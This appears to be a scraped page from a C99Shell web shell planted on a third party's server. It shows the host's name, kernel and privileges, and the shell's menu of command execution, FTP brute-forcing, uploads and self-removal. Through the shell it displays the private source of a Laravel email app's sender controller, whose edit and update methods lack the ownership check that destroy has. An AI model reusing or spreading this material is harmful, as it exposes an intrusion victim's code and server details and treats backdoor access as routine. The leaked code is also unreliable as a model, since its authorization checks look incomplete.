!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SenderController.php (5.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Sender;
use 
Illuminate\Http\Request;

class 
SenderController extends Controller
{
    public function 
index()
    {
        return 
view('customer.sender.index');
    }

    public function 
create()
    {

        
$data['domains'] = auth('customer')->user()->domains()->where('dkim_key_verified','yes')->where('spf_key_verified','yes')->where('text_verified','yes')->where('dmarc_key_verified','yes')->get();
        return 
view('customer.sender.create',$data);
    }

    public function 
edit(Sender $sender)
    {
        
$data['sender'] = $sender;
        
$data['domains'] = auth('customer')->user()->domains()->where('dkim_key_verified','yes')->where('spf_key_verified','yes')->where('text_verified','yes')->where('dmarc_key_verified','yes')->get();

        return 
view('customer.sender.edit'$data);
    }
    public function 
show(){}

    public function 
store(Request $request)
    {
        if (
config("app.demo")){
            return 
redirect()->back()->withErrors(['message' => trans('admin.app_demo_message')]);
        }
        
$request->validate([
            
'name' => 'required',
            
'reply_to' => 'required',
            
'domain' => 'required',
            
'from_mail' => 'required|unique:senders|max:191',
        ]);
        if(
filter_var($request->from_mail,FILTER_VALIDATE_EMAIL)){
            return 
redirect()->back()->withInput()->withErrors(['message' => 'From email should be username only, not full email address']);
        }
        
$user auth('customer')->user();
        
$domain $user->domains()->where('id',$request->domain)->first();

        if (
$domain){
            if (
$domain->dkim_key_verified == 'yes' && $domain->spf_key_verified == 'yes' && $domain->text_verified == 'yes' && $domain->dmarc_key_verified == 'yes'){
                
$request['domain_id'] = $domain->id;
                
$request['domain'] = $domain->name;
                
$user->senders()->create($request->all());
                return 
redirect()->route('customer.sender.index')->with('success''Sending sender successfully created');
            }else{
                return 
redirect()->back()->with('fail','Domain not verified');
            }
        }else{
            return 
redirect()->back()->with('fail','Domain not found');
        }
    }
    public function 
getAll()
    {

        
$senders auth('customer')->user()->senders()->select(['id''name''domain_id','from_mail','reply_to']);
        return 
datatables()->of($senders)
            ->
addColumn('from_mail', function ($q) {
                return 
$q->from_mail.'@'.$q->domain->name;
            })
            ->
addColumn('action', function ($q) {
                return 
"<a class='btn btn-sm btn-info' href='" route('customer.sender.edit', [$q]) . "'>Edit</a> &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this sender?"
                                        data-action=' 
route('customer.sender.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;
            })
            ->
addColumn('domain_name', function ($q) {
               
$domain_name $q->domain->name;
                return 
$domain_name;
            })
            ->
rawColumns(['action'])
            ->
toJson();
    }

    public function 
update(Sender $sender,Request $request)
    {
        
$request->validate([
            
'name' => 'required',
            
'reply_to' => 'required',
            
'domain' => 'required',
            
'from_mail' => 'required|max:191|unique:senders,from_mail,' $sender->id,
        ]);
        if(
filter_var($request->from_mail,FILTER_VALIDATE_EMAIL)){
            return 
redirect()->back()->withInput()->withErrors(['message' => 'From email should be username only, not full email address']);
        }
        
$user auth('customer')->user();
        
$domain $user->domains()->where('id',$request->domain)->first();

        if (
$domain){
            if (
$domain->dkim_key_verified == 'yes' && $domain->spf_key_verified == 'yes' && $domain->text_verified == 'yes' && $domain->dmarc_key_verified == 'yes'){
                
$request['domain_id'] = $domain->id;
                
$request['domain'] = $domain->name;
                
$sender->update($request->all());
                return 
redirect()->route('customer.sender.index')->with('success''Sending sender successfully updated');
            }else{
                return 
redirect()->back()->with('fail','Domain not verified');
            }
        }else{
            return 
redirect()->back()->with('fail','Domain not found');
        }
    }
    public function 
destroy(Sender $sender)
    {
        if(
auth('customer')->user()->id != $sender->customer_id){
            
abort(404);
        }
        
$sender->delete();
        return 
back()->with('success''Sending sender successfully deleted');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--